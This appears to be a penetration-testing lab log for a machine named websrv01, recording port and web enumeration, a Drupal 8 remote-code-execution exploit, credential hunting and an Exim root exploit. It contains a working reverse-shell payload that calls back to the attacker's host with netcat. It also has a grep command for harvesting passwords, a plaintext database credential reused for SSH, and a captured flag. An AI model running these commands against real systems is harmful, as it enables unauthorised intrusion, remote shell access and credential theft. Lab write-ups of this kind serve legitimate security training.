websrv01
๐งช Pentest Log: {{date:2025-08-31}}
๐ Target Information
- Machine Name: websrv01
- IP Address: 10.11.2.243
- Operating System: Linux
ip=10.11.2.243
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 25
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Drupal 8
Google for exploit, found
https://www.exploit-db.com/exploits/46459
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
python3 /home/kali/Documents/Shell\ Handler/penelope/penelope.py -p 80
python3 46459.py http://$ip/ "busybox nc 172.16.1.3 80 -e /bin/bash"
๐งฌ Privilege Escalation
๐ค Current Access
- User: www-data
- Groups: 33(www-data)
- Shell Type: reverse shell
๐ Enumeration
Credential Find:
find . -type f -exec grep -iIl -- "password" {} + 2>/dev/null
Found
./sites/default/settings.php
'username' => 'drupalmanager',
'password' => 'Drup@lM@nager',
ssh drupalmanager@$ip
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Public Exploit
- Target Binary/Service: Exim
- Reference / Source: exploitDB
๐ง Exploit Steps
- Setup
searchsploit -m https://www.exploit-db.com/exploits/46996
chmod +x ./46996.sh
- Smash to root
./46996.sh
- Key File
bgmwgo01xiiinumbb1cd